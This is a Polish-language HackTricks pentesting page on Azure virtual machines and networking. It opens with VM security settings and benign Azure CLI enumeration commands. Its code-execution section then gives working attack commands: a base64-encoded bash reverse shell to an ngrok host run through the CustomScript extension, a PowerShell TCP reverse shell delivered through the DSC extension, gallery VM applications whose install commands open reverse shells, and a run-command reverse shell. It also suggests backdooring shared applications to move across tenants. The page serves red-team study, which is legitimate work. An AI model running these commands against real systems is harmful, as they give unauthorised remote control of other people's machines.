Az - Maszyny Wirtualne i Sieć
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
Podstawowe informacje o sieciach Azure
Sieci Azure zawierają różne podmioty i sposoby ich konfiguracji. Możesz znaleźć krótkie opisy, przykłady i komendy enumeracji różnych podmiotów sieciowych Azure w:
Podstawowe informacje o VM
Maszyny Wirtualne (VM) w Azure to elastyczne, na żądanie serwery w chmurze, które pozwalają na uruchamianie systemów operacyjnych Windows lub Linux. Umożliwiają wdrażanie aplikacji i obciążeń bez zarządzania fizycznym sprzętem. Maszyny Wirtualne Azure mogą być konfigurowane z różnymi opcjami CPU, pamięci i przechowywania, aby spełniać konkretne potrzeby i integrować się z usługami Azure, takimi jak wirtualne sieci, przechowywanie i narzędzia zabezpieczeń.
Konfiguracje zabezpieczeń
- Strefy dostępności: Strefy dostępności to odrębne grupy centrów danych w określonym regionie Azure, które są fizycznie oddzielone, aby zminimalizować ryzyko, że wiele stref zostanie dotkniętych lokalnymi awariami lub katastrofami.
- Typ zabezpieczeń:
- Standardowe zabezpieczenia: To domyślny typ zabezpieczeń, który nie wymaga żadnej specyficznej konfiguracji.
- Zaufane uruchomienie: Ten typ zabezpieczeń zwiększa ochronę przed boot kitami i złośliwym oprogramowaniem na poziomie jądra, korzystając z Secure Boot i Wirtualnego Zaufanego Modułu Platformy (vTPM).
- Poufne VM: Oprócz zaufanego uruchomienia, oferuje izolację opartą na sprzęcie między VM, hipernadzorcą a zarządzaniem hostem, poprawia szyfrowanie dysków i więcej.
- Uwierzytelnianie: Domyślnie generowany jest nowy klucz SSH, chociaż możliwe jest użycie klucza publicznego lub wcześniejszego klucza, a domyślną nazwą użytkownika jest azureuser. Możliwe jest również skonfigurowanie użycia hasła.
- Szyfrowanie dysków VM: Dysk jest domyślnie szyfrowany w spoczynku przy użyciu klucza zarządzanego przez platformę.
- Możliwe jest również włączenie Szyfrowania na hoście, gdzie dane będą szyfrowane na hoście przed wysłaniem ich do usługi przechowywania, zapewniając szyfrowanie end-to-end między hostem a usługą przechowywania (docs).
- Grupa zabezpieczeń sieci NIC:
- Brak: Zasadniczo otwiera każdy port
- Podstawowe: Umożliwia łatwe otwieranie portów przychodzących HTTP (80), HTTPS (443), SSH (22), RDP (3389)
- Zaawansowane: Wybierz grupę zabezpieczeń
- Kopia zapasowa: Możliwe jest włączenie Standardowej kopii zapasowej (raz dziennie) i Ulepszonej (wielokrotnie dziennie)
- Opcje orkiestracji poprawek: Umożliwia automatyczne stosowanie poprawek w VM zgodnie z wybraną polityką, jak opisano w docs.
- Alerty: Możliwe jest automatyczne otrzymywanie alertów e-mailem lub aplikacją mobilną, gdy coś się wydarzy w VM. Domyślne zasady:
- Procent CPU jest większy niż 80%
- Dostępna pamięć bajtów jest mniejsza niż 1 GB
- Procent zużycia IOPS dysków danych jest większy niż 95%
- Procent zużycia IOPS systemu operacyjnego jest większy niż 95%
- Całkowita sieć jest większa niż 500 GB
- Całkowita sieć wychodząca jest większa niż 200 GB
- Metryka dostępności VM jest mniejsza niż 1
- Monitor zdrowia: Domyślnie sprawdza protokół HTTP na porcie 80
- Blokady: Umożliwia zablokowanie VM, aby mogła być tylko odczytywana (ReadOnly lock) lub mogła być odczytywana i aktualizowana, ale nie usuwana (CanNotDelete lock).
- Większość zasobów związanych z VM również obsługuje blokady, takie jak dyski, migawki…
- Blokady można również stosować na poziomie grupy zasobów i subskrypcji
Dyski i migawki
- Możliwe jest włączenie dołączenia dysku do 2 lub więcej VM
- Domyślnie każdy dysk jest szyfrowany kluczem platformy.
- To samo dotyczy migawek
- Domyślnie możliwe jest udostępnienie dysku ze wszystkich sieci, ale można również ograniczyć dostęp tylko do określonych prywatnych dostępów lub całkowicie wyłączyć dostęp publiczny i prywatny.
- To samo dotyczy migawek
- Możliwe jest wygenerowanie SAS URI (maks. 60 dni) do eksportu dysku, który można skonfigurować tak, aby wymagał uwierzytelnienia lub nie
- To samo dotyczy migawek
# List all disks
az disk list --output table
# Get info about a disk
az disk show --name <disk-name> --resource-group <rsc-group>
Obrazy, Obrazy w Galerii i Punkty Przywracania
Obraz VM to szablon, który zawiera system operacyjny, ustawienia aplikacji i system plików potrzebne do utworzenia nowej maszyny wirtualnej (VM). Różnica między obrazem a migawką dysku polega na tym, że migawka dysku to kopia tylko do odczytu, w określonym czasie, pojedynczego zarządzanego dysku, używana głównie do tworzenia kopii zapasowych lub rozwiązywania problemów, podczas gdy obraz może zawierać wiele dysków i jest zaprojektowany jako szablon do tworzenia nowych VM.
Obrazy można zarządzać w sekcji Obrazy w Azure lub w galeriach obliczeniowych Azure, co pozwala na generowanie wersji i udostępnianie obrazu między tenantami, a nawet uczynienie go publicznym.
Punkt przywracania przechowuje konfigurację VM oraz migawki aplikacji w punkcie czasowym, które są spójne z czasem, wszystkich zarządzanych dysków podłączonych do VM. Jest związany z VM, a jego celem jest umożliwienie przywrócenia tej VM do stanu, w jakim była w danym punkcie czasowym.
# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>
## List all community galleries
az sig list-community --output table
## List galleries shaerd with me
az sig list-shared --location <location> --output table
## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>
## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table
## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
# Images
# List all managed images in your subscription
az image list --output table
# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>
Azure Site Recovery
Z dokumentów: Site Recovery pomaga zapewnić ciągłość działania firmy, utrzymując aplikacje biznesowe i obciążenia w działaniu podczas awarii. Site Recovery replikuje obciążenia działające na fizycznych i wirtualnych maszynach (VM) z głównej lokalizacji do lokalizacji zapasowej. Gdy wystąpi awaria w Twojej głównej lokalizacji, przełączasz się do lokalizacji zapasowej i uzyskujesz dostęp do aplikacji stamtąd. Po przywróceniu działania głównej lokalizacji możesz wrócić do niej.
Azure Bastion
Azure Bastion umożliwia bezpieczny i bezproblemowy dostęp Remote Desktop Protocol (RDP) i Secure Shell (SSH) do Twoich wirtualnych maszyn (VM) bezpośrednio przez portal Azure lub za pośrednictwem jump boxa. Poprzez eliminację potrzeby publicznych adresów IP na Twoich VM.
Bastion wdraża podsieć o nazwie AzureBastionSubnet z maską sieciową /26 w VNet, w którym musi działać. Następnie umożliwia połączenie z wewnętrznymi VM przez przeglądarkę używając RDP i SSH, unikając wystawiania portów VM na Internet. Może również działać jako jump host.
Aby wylistować wszystkie hosty Azure Bastion w swojej subskrypcji i połączyć się z VM przez nie, możesz użyć następujących poleceń:
# List bastions
az network bastion list -o table
# Connect via SSH through bastion
az network bastion ssh \
--name MyBastion \
--resource-group MyResourceGroup \
--target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \
--auth-type ssh-key \
--username azureuser \
--ssh-key ~/.ssh/id_rsa
# Connect via RDP through bastion
az network bastion rdp \
--name <BASTION_NAME> \
--resource-group <RESOURCE_GROUP> \
--target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \
--auth-type password \
--username <VM_USERNAME> \
--password <VM_PASSWORD>
Metadane
Usługa metadanych instancji Azure (IMDS) zapewnia informacje o działających instancjach maszyn wirtualnych w celu wsparcia ich zarządzania i konfiguracji. Oferuje szczegóły takie jak SKU, przechowywanie, konfiguracje sieciowe oraz informacje o nadchodzących wydarzeniach konserwacyjnych za pośrednictwem REST API dostępnego pod adresem IP 169.254.169.254, który jest dostępny tylko z wnętrza VM. Komunikacja między VM a IMDS pozostaje w obrębie hosta, zapewniając bezpieczny dostęp. Podczas zapytań do IMDS, klienci HTTP wewnątrz VM powinni omijać proxy internetowe, aby zapewnić prawidłową komunikację.
Ponadto, aby skontaktować się z punktem końcowym metadanych, żądanie HTTP musi mieć nagłówek Metadata: true i nie może mieć nagłówka X-Forwarded-For.
Sprawdź, jak to enumerować w:
Enumeracja VM
# VMs
## List all VMs and get info about one
az vm list --output table
az vm show --name <came> --resource-group <rsc-group>
## List all available VM images and get info about one
az vm image list --all --output table
# VM Extensions
## List all VM extensions
az vm extension image list --output table
## Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table
## List extensions in a VM
az vm extension list -g <rsc-group> --vm-name <vm-name>
## List managed identities in a VM
az vm identity show \
--resource-group <rsc-group> \
--name <vm-name>
# Disks
## List all disks and get info about one
az disk list --output table
az disk show --name <disk-name> --resource-group <rsc-group>
# Snapshots
## List all galleries abd get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>
## List all snapshots and get info about one
az snapshot list --output table
az snapshot show --name <name> --resource-group <rsc-group>
# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>
## List all community galleries
az sig list-community --output table
## List galleries shared with me
az sig list-shared --location <location> --output table
## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>
## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table
## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
# Images
# List all managed images in your subscription
az image list --output table
# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>
# Bastion
## list all bastions
az network bastion list -o table
# Network
## List VNets
az network vnet list --query "[].{name:name, location:location, addressSpace:addressSpace}"
## List subnets of a VNet
az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VNetName> --query "[].{name:name, addressPrefix:addressPrefix}" -o table
## List public IPs
az network public-ip list --output table
## Get NSG rules
az network nsg rule list --nsg-name <NSGName> --resource-group <ResourceGroupName> --query "[].{name:name, priority:priority, direction:direction, access:access, protocol:protocol, sourceAddressPrefix:sourceAddressPrefix, destinationAddressPrefix:destinationAddressPrefix, sourcePortRange:sourcePortRange, destinationPortRange:destinationPortRange}" -o table
## Get NICs and subnets using this NSG
az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --query "{subnets: subnets, networkInterfaces: networkInterfaces}"
## List all Nics & get info of a single one
az network nic list --output table
az network nic show --name <name> --resource-group <rsc-group>
## List Azure Firewalls
az network firewall list --query "[].{name:name, location:location, subnet:subnet, publicIp:publicIp}" -o table
## Get network rules of a firewall
az network firewall network-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
## Get application rules of a firewall
az network firewall application-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
## Get nat rules of a firewall
az network firewall nat-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
## List Route Tables
az network route-table list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table
## List routes for a table
az network route-table route list --route-table-name <RouteTableName> --resource-group <ResourceGroupName> --query "[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}" -o table
# Misc
## List all virtual machine scale sets
az vmss list --output table
## List all availability sets
az vm availability-set list --output table
## List all load balancers
az network lb list --output table
## List all storage accounts
az storage account list --output table
## List all custom script extensions on a specific VM
az vm extension list --vm-name <vm-name> --resource-group <resource-group>
# Show boot diagnostics settings for a specific VM
az vm boot-diagnostics get-boot-log --name <vm-name> --resource-group <resource-group>
## List all tags on virtual machines
az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[].{Name:name, Tags:tags}" --output table
# List all available run commands for virtual machines
az vm run-command list --output table
Wykonanie kodu w VM
Rozszerzenia VM
Rozszerzenia VM Azure to małe aplikacje, które zapewniają konfigurację po wdrożeniu i zadania automatyzacji na wirtualnych maszynach Azure (VM).
To pozwoli na wykonywanie dowolnego kodu wewnątrz VM.
Wymagana zgoda to Microsoft.Compute/virtualMachines/extensions/write.
Można wylistować wszystkie dostępne rozszerzenia za pomocą:
# It takes some mins to run
az vm extension image list --output table
# Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table
Możliwe jest uruchomienie niestandardowych rozszerzeń, które wykonują niestandardowy kod:
- Wykonaj powłokę odwrotną
# Prepare the rev shell
echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==
# Execute rev shell
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
- Wykonaj skrypt znajdujący się w Internecie
az vm extension set \
--resource-group rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'
Istotne rozszerzenia VM
Wymagana zgoda to Microsoft.Compute/virtualMachines/extensions/write.
Rozszerzenie VMAccess
To rozszerzenie umożliwia modyfikację hasła (lub utworzenie, jeśli nie istnieje) użytkowników wewnątrz maszyn wirtualnych Windows.
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
DesiredStateConfiguration (DSC)
To jest rozszerzenie VM, które należy do Microsoft i wykorzystuje PowerShell DSC do zarządzania konfiguracją maszyn wirtualnych Windows w Azure. Dlatego może być używane do wykonywania dowolnych poleceń w maszynach wirtualnych Windows za pomocą tego rozszerzenia:
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
Script ReverseShell {
GetScript = { @{} }
SetScript = {
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length)
}
$client.Close()
}
TestScript = { return $false }
}
}
}
RevShellConfig -OutputPath .\Output
# Upload config to blob
$resourceGroup = 'dscVmDemo'
$storageName = 'demostorage'
Publish-AzVMDscConfiguration `
-ConfigurationPath .\revShell.ps1 `
-ResourceGroupName $resourceGroup `
-StorageAccountName $storageName `
-Force
# Apply DSC to VM and execute rev shell
$vmName = 'myVM'
Set-AzVMDscExtension `
-Version '2.76' `
-ResourceGroupName $resourceGroup `
-VMName $vmName `
-ArchiveStorageAccountName $storageName `
-ArchiveBlobName 'revShell.ps1.zip' `
-AutoUpdate `
-ConfigurationName 'RevShellConfig'
Hybrid Runbook Worker
Jest to rozszerzenie VM, które umożliwia wykonywanie runbooków w VM z konta automatyzacji. Aby uzyskać więcej informacji, sprawdź usługę Automation Accounts.
Aplikacje VM
Są to pakiety zawierające wszystkie dane aplikacji oraz skrypty instalacyjne i deinstalacyjne, które można wykorzystać do łatwego dodawania i usuwania aplikacji w VM.
# List all galleries in resource group
az sig list --resource-group <res-group> --output table
# List all apps in a fallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
To są ścieżki, w których aplikacje są pobierane w systemie plików:
- Linux:
/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version> - Windows:
C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>
Sprawdź, jak zainstalować nowe aplikacje w https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli
Caution
Możliwe jest dzielenie się poszczególnymi aplikacjami i galeriami z innymi subskrypcjami lub najemcami. Co jest bardzo interesujące, ponieważ może to pozwolić atakującemu na wprowadzenie backdoora do aplikacji i przejście do innych subskrypcji i najemców.
Jednak nie ma “rynku” dla aplikacji vm, jak to ma miejsce w przypadku rozszerzeń.
Wymagane uprawnienia to:
Microsoft.Compute/galleries/applications/writeMicrosoft.Compute/galleries/applications/versions/writeMicrosoft.Compute/virtualMachines/writeMicrosoft.Network/networkInterfaces/join/actionMicrosoft.Compute/disks/write
Przykład wykorzystania do wykonywania dowolnych poleceń:
# Create gallery (if the isn't any)
az sig create --resource-group myResourceGroup \
--gallery-name myGallery --location "West US 2"
# Create application container
az sig gallery-application create \
--application-name myReverseShellApp \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Linux \
--location "West US 2"
# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
az sig gallery-application version create \
--version-name 1.0.2 \
--application-name myReverseShellApp \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"
# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name <vm-name> \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
--treat-deployment-as-failure true
Dane użytkownika
To są dane trwałe, które można pobrać z punktu końcowego metadanych w dowolnym momencie. Zauważ, że w Azure dane użytkownika różnią się od AWS i GCP, ponieważ jeśli umieścisz tutaj skrypt, nie jest on domyślnie wykonywany.
Dane niestandardowe
Możliwe jest przekazanie pewnych danych do VM, które będą przechowywane w oczekiwanych ścieżkach:
- W Windows dane niestandardowe są umieszczane w
%SYSTEMDRIVE%\AzureData\CustomData.binjako plik binarny i nie są przetwarzane. - W Linux były przechowywane w
/var/lib/waagent/ovf-env.xml, a teraz są przechowywane w/var/lib/waagent/CustomData/ovf-env.xml - Agent Linux: Domyślnie nie przetwarza danych niestandardowych, potrzebny jest niestandardowy obraz z włączonymi danymi
- cloud-init: Domyślnie przetwarza dane niestandardowe, a te dane mogą być w kilku formatach. Może łatwo wykonać skrypt, wysyłając po prostu skrypt w danych niestandardowych.
- Próbowałem, aby zarówno Ubuntu, jak i Debian wykonały skrypt, który tutaj umieścisz.
- Nie ma również potrzeby włączania danych użytkownika, aby to mogło być wykonane.
#!/bin/sh
echo "Hello World" > /var/tmp/output.txt
Uruchom polecenie
To jest najprostszy mechanizm, który Azure zapewnia do wykonywania dowolnych poleceń w VM. Wymagana zgoda to Microsoft.Compute/virtualMachines/runCommand/action.
# Execute rev shell
az vm run-command invoke \
--resource-group <rsc-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts @revshell.sh
# revshell.sh file content
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh
Eskalacja Uprawnień
Az - Virtual Machines & Network Privesc
Dostęp bez uwierzytelnienia
Po Eksploatacji
Az - VMs & Network Post Exploitation
Utrzymywanie
Odniesienia
- https://learn.microsoft.com/en-us/azure/virtual-machines/overview
- https://hausec.com/2022/05/04/azure-virtual-machine-execution-techniques/
- https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

